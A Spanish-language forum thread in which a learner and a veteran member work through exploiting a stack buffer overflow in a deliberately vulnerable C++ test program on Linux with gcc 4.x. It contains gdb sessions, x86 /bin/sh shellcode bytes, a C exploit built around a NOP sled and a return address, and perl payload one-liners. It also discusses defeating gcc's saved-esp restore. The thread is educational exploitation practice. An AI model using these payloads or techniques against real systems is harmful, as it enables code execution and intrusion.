Autor
|
Tema: [?] Buffer Overflow, EIP, exploit. (Leído 6,220 veces)
|
protos
Desconectado
Mensajes: 26
|
Estoy leyendo sobre Buffer Overflow, e intentando hacer alguna práctica, pero tengo varios problemas. He estado repasando por el foro haber si alguien ha posteado errores parecidos y encontraba la solución, y muchos posts me han ayudado, pero creo que no encuentro, así que primero de todo sorry por si esto ya es repetido. Para situarnos: gcc versión 4.2.4 (Ubuntu 4.2.4-1ubuntu3) Escribo el siguiente código para hacer pruebas: vuln1.cpp #include <iostream>
using namespace std;
int main(int argc, char **argv) { char buffer[30]; if (!argv[1]) { cout << "Faltan Argumentos"<<endl; return 0; } strcpy(buffer, argv[1]); cout << "Cadena: "<<buffer<<endl; } Y vamos a probar: protos@diego-desktop:~$ ./vuln1 AAAAAAAAAAAAAAAA Cadena: AAAAAAAAAAAAAAAA protos@diego-desktop:~$ ./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Cadena: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Fallo de segmentación Parece que funciona. Está compilado quitando la proteccion stack, si no no podriamos probar, cierto? Vamos a ver que está pasando con el debugger: El buffer es de 30 bytes, meteré 34 A, haber que pasa: (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/diego/vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Cadena: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault. 0x08048931 in main () Current language: auto; currently asm (gdb) i r ebp eip esp ebp 0xbfea8400 0xbfea8400 eip 0x8048931 0x8048931 <main+177> esp 0x4141413d 0x4141413d En teoria ya debería haber sobreescrito ebp no??? Pruebo con 38 A: (gdb) i r ebp eip esp ebp 0x41414141 0x41414141 eip 0x8048931 0x8048931 <main+177> esp 0x4141413d 0x4141413d Parece que tengo ya ebp sobreescrito, probemos poniendo BBBB para eip: Starting program: /home/diego/vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Cadena: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB (gdb) i r ebp esp eip ebp 0x41414141 0x41414141 esp 0x4141413d 0x4141413d eip 0x8048931 0x8048931 <main+177> Teoricamente eip deberia tener 42424242 no?? El caso es que no logro sobreescribir eip. He leido en algun post de por aqui que es que eip no se sobreescribe, pero en los textos que he ido leyendo lo sobreescriben, y si no es así, como hago para cambiar la ret adress y como se si lo hice correctamente?? Tambien he leído que es posible que nuevas versiones de gcc (por eso puse arriba la version), si el bof está en main no dejen sobreescribir eip, así que probé con otro code vulnerable: vuln2.cpp: #include <iostream>
using namespace std;
void funcionv(char *str);
int main(int argc, char **argv) { if(!argv[1]) { cout << "Faltan argumentos"<<endl; return 0; } funcionv(argv[1]); return 0; }
void funcionv(char *str) { char buffer[30]; strcpy(buffer, str); cout << "Cadena :"<<buffer<<endl; } Y compilo quitando proteccion: protos@diego-desktop:~$ g++ vuln2.cpp -o vuln2 -fno-stack-protector Parece que funciona: protos@diego-desktop:~$ ./vuln2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Cadena :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Fallo de segmentación Sesion de gdb: Empezamos con 34 A Starting program: /home/diego/vuln2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Cadena :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault. 0xb7edd29a in std::ostream::sentry::sentry () from /usr/lib/libstdc++.so.6 (gdb) i r ebp esp eip ebp 0xbff9fc08 0xbff9fc08 esp 0xbff9fbf0 0xbff9fbf0 eip 0xb7edd29a 0xb7edd29a <std::ostream::sentry::sentry(std::ostream&)+42> Por que ahora no se ha sobreescrito nada??? En cambio si meto 38 bytes... Starting program: /home/diego/vuln2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Cadena :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) i r ebp eip esp ebp 0x41414141 0x41414141 eip 0x42424242 0x42424242 esp 0xbff6ec50 0xbff6ec50 Ahi lo tengo, con 38 bytes (los ultimos 4 son BBBB) parece que ahora cuadran todas las cuentas, pero no consigo comprender porque no cuadraban en ninguno de los ejemplos anteriores. Si seguimos con este ejemplo. Ahora pongamos que cojo una scode de... 25 bytes. por tanto, si tengo que el eip se sobreescribe con 38 bytes, haciendo calculos, el payload será el siguiente: 9 Nops + 25 Scode + ret adress. Ahora, como sacar la ret adress? He leido lo siguiente: (gdb) x/5000b $esp 0xbffff3f0: 0x00 0xf5 0xff 0xbf 0xb0 0xf4 0xff 0xbf 0xbffff3f8: 0x18 0xf4 0xff 0xbf 0x20 0xf4 0xff 0xbf 0xbffff400: 0xb0 0x47 0xff 0xb7 0x20 0xf4 0xff 0xbf ... 0xbffff9d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff9d8: 0x90 0x90 0x31 0xc0 0x50 0x89 0xe1 0x89 ... Elegí la última fila antes de que aparezca la shellcode. aquí, la direccion de retorno que usaré será: 0xbffff9d0 Es esto correcto? En otros sitios parece que encontrar esta direccion se hace más complicado, además no entiendo que hace ese comando del gdb...:S Me interesa mucho este tema, pero siempre me surgen complicaciones. Espero que no resulte demasiado molesto este post para aquellos que saben más y puedan ayudarme. salu2!
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Todos los pasos que estas haciendo son correcto sin embargo al parecer estas ante una proteccion de EIP qu no depende del stack-protector o es una protección adicional al mismo. Si lees completamente este post te daras cuenta del problema No puedo sobrescribir EIP (Linux)Aqui existen algunos comentarios tambien <-!-> Uso de GDB para analizar programas sencillos, complejos y vulnerabilidades
Primero con gcc 3.4.6 Código: %gcc -v Using built-in specs. Configured with: FreeBSD/i386 system compiler Thread model: posix gcc version 3.4.6 [FreeBSD] 20060305 ... (gdb) disas main 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp ... 0x08048200 <main+76>: leave 0x08048201 <main+77>: ret
Ahora con gcc 4.1.3 Código: %gcc41 -v Using built-in specs. Target: i386-portbld-freebsd6.2 Thread model: posix gcc version 4.1.3 20070820 (prerelease)
(gdb) disas main 0x08048528 <main+0>: lea 0x4(%esp),%ecx 0x0804852c <main+4>: and $0xfffffff0,%esp 0x0804852f <main+7>: pushl 0xfffffffc(%ecx) 0x08048532 <main+10>: push %ebp 0x08048533 <main+11>: mov %esp,%ebp ... 0x0804856a <main+66>: mov 0xfffffffc(%ebp),%ecx 0x0804856d <main+69>: leave 0x0804856e <main+70>: lea 0xfffffffc(%ecx),%esp 0x08048571 <main+73>: ret
La forma de explotar un clasico BoF es un poco diferente para el codigo generado en gcc version 4.1.3 que en gcc version 3.4.6
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
Si, muchas gracias. Ese es post que había leído pero no encontraba link. El caso que ahí se barajan diversas posibilidades: que sea cosa del FreeBSD, del gcc, etc.. Parece que finalmente será cosa del gcc. Por tanto me surge la siguiente duda: con las nuevas versiones de gcc es imposible explotar un bof en main? Seguramente no, por tanto el caso es... Como se explota?? Creo que la solucion que se da en ese post es sobreescribir el esp con una direccion que controlemos en la cual se encuentre la shellcode, no me queda muy claro eso :S Seria tener la ret adress guardada en una direccion conocida, y sobreescribir esp con esa direccion? Lo que había puesto en el primer post para sacar la ret adress es correcto? Si no, como la saco? He estado mirando tus exploits de ese topic (se dicen ahi muchas cosas útiles  ), pero no los consigo seguir, si los pudieras comentar...  Gracias por esos dos links, ya había leído esos topics un par de veces, hay buena info  pero sin embargo aun me quedan por ahi esas dudas. Muchas gracias salu2!
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Lo que había puesto en el primer post para sacar la ret adress es correcto? Si no, como la saco?
Es correcto y a la vez no, la direccion de retorno es un aproximado y depede de donde coloques tus nops y la shellcode Si lo pones en Variables de entorno el RET Address cambia mucho un codigo para consegir un RET aproximado es unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } Recuerda que tambien puedes meter la shellcode en el segundo parametro del programa sin embargo para tu caso no aplica ya que si hay mas de un parametro no se ejecuta el strcpy. Los exploits que son los clasicos de la verdad se esta preparando un FAQ de exploits donde se reexplicara. De momento cualquir duda que tengas no dudes en comentarla. El metodo lo explico RaiSe y gracias a el entendi esa parte Si efectivamente es la version de gcc %gcc41 codigo.c -o codigo -ggdb -static %gdb codigo GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd"... (gdb) disas main Dump of assembler code for function main: 0x080481b0 <main+0>: lea 0x4(%esp),%ecx 0x080481b4 <main+4>: and $0xfffffff0,%esp 0x080481b7 <main+7>: pushl 0xfffffffc(%ecx) *************************** *************************** 0x080481f2 <main+66>: mov 0xfffffffc(%ebp),%ecx 0x080481f5 <main+69>: leave 0x080481f6 <main+70>: lea 0xfffffffc(%ecx),%esp 0x080481f9 <main+73>: ret End of assembler dump.
El problema es que salva esp en la pila (a traves de ecx), y lo restaura antes de hacer el ret. La forma de explotarlo seria sobreescribir ese valor con una direccion en la que controlemos el contenido. Ejemplo: - Sobreescribimos esp guardado por 0xdededede (es un caso ficticio). - 0xdededede es una direccion en la que controlamos su contenido, el cual es: 0xabababab - En 0xabababab tambien controlamos su contenido, el cual es: la shellcode Al sobreescribir el esp guardado, antes del ret: %esp = 0xdededede. Hace el ret y salta a 0xabababab, la cual es la direccion de la shellcode. Cambiando de tema, en ese ejemplo no importa que el buffer sea pequeño. Puedes meter la shellcode en argv[2] por ejemplo, sin limite de tamaño. Un saludo.
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
Antes de nada muchas gracias  Siguiendo con el tema. Por tanto la ret adress, segun la estructura del payload es bastante aproximada, si yo tengo la scode justo detrás de los nops, le puedo poner de ret adress cualquier direccion de nop...bien. Pero he visto que en tu exploit has puesto la scode en otra posicion porque no te cabía en el buffer, entonces la saco con esa funcion get_esp(). Vale, ya me has quitado una duda. Gracias por el tip del segundo parámetro, estando en el segundo parametro su direccion se saca tambien con esa funcion? Espero impaciente dicho FAQ  :D Si, eso de Raise es lo que había leído al respecto, por eso preguntaba para ver si lo había entendido, se trata de eso, sobreescribir esp con una direccion que apunte a otra dirección que contiene la direccion de la scode (que lio xD). Y bueno, de tu exploit, realmente esque no es solo una duda que tengo, me falta bastante por donde cojerlo, asi que creo que casi espero al FAQ. salu2! P.D.: Sorry por ser tan pregunton, me apasiona esto xD
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Como siempre es un aproximado puedes sacar las direcciones aproximadas de los parametros dependiendo de la cantidad de bytes que tenga dicho parametro, te dejo la imagen de ejemplo.  Saludos
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
vale, creo que soy tonto xD con un &argv[ i] sobra no??? Y no acabo de entender porque el mover eax a ebp da la ret adress...:S
PD: Sigo sin entender este comando, no lo encuentro en la documentacion del gdb: (gdb) x/5000b $esp
|
|
|
|
« Última modificación: 8 Abril 2009, 23:55 por protos »
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Si has bajado el pdf :http://sourceware.org/gdb/current/onlinedocs/gdb.pdf.gz
Podras ver que en la pagina 89 interna del PDF o en la 104 para el contador de paginas del programa lector. esta la informacion necesaria.
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
Thank you!! I (L) U jajajaj. Y no acabo de entender porque el mover eax a ebp da la ret adress...:S Revisando un librito que tengo por aqui, y comparándolo con tus exploits, son cosas distintas, es bastante más sencillo: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main (int argc, char *argv[]) { char evilcode[1032]; char shellcode[]= "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" "\x0b\xcd\x80"; /* buffer = 1024 ; shellcode = 23 ; ebp = 4 ; eip = 4 total nops = 1032 - (23+4) = 1005 stack: nops[0-1005] - shellcode[1005-1028] - ret[1028-1032] */ char ret_add[] = “\xd0\xf9\xff\xbf”; char *ex[2]; memset (evilcode, 0x90, sizeof(evilcode) - 1); memcpy (evilcode + 950, shellcode, 23); /*--> puede estar en cualquier parte... mientras sea menor a 1005 */ memcpy (evilcode + 1028, ret_add, 4); ex[0] = "vuln"; ex[1] = evilcode; ex[2] = NULL; execve (ex[0], ex, NULL); return (0); } Este si lo entiendo completo, se trata tan solo de saber que argumentos darle al execve, y monta el payload con bastante sencillez...No valdría siempre algo así? salu2!
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Si generalmente, ya una vez que comprendes un exploit basico y lo explotas con exito vas haciendo pequeñas mejoras o adiciones al mismo exploit y con el tiempo terminas con un exploit un poco complejo, muchas veces no se tendra tiempo de preparar un exploit para una aplicación en especifico, por eso es que muchas veces se tratan de hacer exploits un poco mas complejos y genéricos para que el atacante lo configure con pequeños cambios desde los argumentos que se le dan para incluir algunas opciones, como modificar manualmente la dirección de retorno o que se obtenga automáticamente con el get_esp, y despues sumarle o restarle X cantidad de bytes para poder lograr tu objetivo.
Si ya dominas lo anterior explotar una aplicación overflow de parametro se te sera muy facil con perl en una sola linea.
Saludos
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
Si, eso de sumarle o restarle cantidad de bytes no se porque lo hiciste. En tu exploit pones 'desplazamiento' no se que se deberia poner en ese argumento. Me puedes explicar que hace la funcion get_esp, porque da el ret_adress siempre? (o aproximado). Y bueno, por el momento creo que ya me has solucionado demasiadas dudas que estoy abusando de ti xD. Con esto ya me empezará a quedar claro un poquito todo esto. Sigo sin entender tu exploit, pero por lo menos el otro más sencillito si, esperaré al taller de exploits  . Seguiré haciendo pruebas y molestando un poco por aqui, en serio Anon:  salu2!
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
Si está mal el doble post, borrad. Pensé que estaba esto mejor aquí que en un nuevo topic: Siguiendo con el código vulnerable que codeé en el primer post: #include <iostream>
using namespace std;
void funcionv(char *str);
int main(int argc, char **argv) { if(!argv[1]) { cout << "Faltan argumentos"<<endl; return 0; } funcionv(argv[1]); return 0; }
void funcionv(char *str) { char buffer[30]; strcpy(buffer, str); cout << "Cadena :"<<buffer<<endl; } Ya está comprovado que necesito 38 bytes para sobreescribir EIP. Ahora, me he agarrado por ahi una scode de 23 bytes. Por tanto => 11 bytes NOPs + 23 bytes Scode + 4 bytes ret_adress Los cálculos creo que están bien. Saco la ret_adress: 0xbfdba6f0: 0x76 0x75 0x6c 0x6e 0x32 0x00 0x90 0x90 0xbfdba6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfdba700: 0x90 0x31 0xc0 0x50 0x89 0xe1 0x89 0xe2 Ahí están los 11 Nops y luego la scode. Por tanto cojo la última dire con NOPs. 0xbfdba6f8 ==convertida==> "\xf8\xa6\xdb\xbf" Creo que ya está todo listo, probemos: ./vuln2 `perl -e'{print"\x90"x11 ."\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"."\xf8\xa6\xdb\xbf"}'` Cadena :�����������1�P����h//shh/bin� ���ۿ Fallo de segmentación Pero no me da shell ni root ni nada de nada. Que estoy haciendo mal?? He pensado que pueda ser de la scode, por si acaso alguien me puede dejar una comprovada? Para probarlo he cogido otra de este foro http://foro.elhacker.net/bugs_y_exploits/smallest_%E2%80%9Csetuid%E2%80%9D_%E2%80%9Cexecve%E2%80%9D_gnulinux_x86_stable_shellcode_without_nulls-t236158.0.htmlY tampoco: protos@diego-desktop:~$ ./vuln2 `perl -e'{print"\x90"x6 ."\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"."\xf8\x26\x87\xbf"}'` Cadena :������1ۍC�1�Qhn/shh//bi�A ���&�� Fallo de segmentación En este caso la Scode es de 28 bytes, por tanto 6 Nops (hacen 34) + 4 ret_adress. Otra duda que tenía de antes es que es/para que es el desplazamiento en tu exploit anon. salu2!
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Si no te devuelve shell es por que no esta sobre escribiendo el EIP, Ahora el desplazamiento es un numero que se le da y este se le suma al RET Address ya recordaras que este varia mucho por eso hay que jugar con el desplazamiento (Puede ser positivo o negativo).
Saludos
Explicacion de exploit generico en contruccion!!
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
El EIP se sobreescribe: (gdb) r `perl -e'{print"\x90"x11 ."\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"."\xf8\xa6\xdb\xbf"}'` Starting program: /home/diego/vuln2 `perl -e'{print"\x90"x11 ."\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"."\xf8\xa6\xdb\xbf"}'` Cadena :�����������1�P����h//shh/bin� ���ۿ
Program received signal SIGSEGV, Segmentation fault. 0xbfdba6f8 in ?? () 0xbfdba6f8 es la ret_adress que he sacado por el método de buscar NOPs en el gdb... Tal vez sea que está mal sacada... El caso esque creo que no me equivoqué: 0xbfdba6f0: 0x76 0x75 0x6c 0x6e 0x32 0x00 0x90 0x90 0xbfdba6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfdba700: 0x90 0x31 0xc0 0x50 0x89 0xe1 0x89 0xe2 Ahi cojo la última dirección llena de nops antes de encontrarme con la scode... Como lo estoy intentando explotar directamente por linia de comandos, de momento sin codear el exploit (ya lo intentaré cuando lo consiga así) no puedo sacarla con el get_esp, de cualquier manera, si lo hiciera con el get_esp no tengo ni idea de que desplazamiento sumarle o restarle. salu2! p.d.: Ah, ya estás puesto con lo del exploit, si no tienes tiempo para contestar aquí ya leeré eso  estaria bien ahí un ejemplo de exploit para bof en main compilado con gcc > 4.x
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
A ese es el problema las direcciones que muestra el gdb son un poco diferentes a las que tiene el programa en tiempo de ejecucion.
Saludos
|
|
|
|
|
En línea
|
|
|
|
|
|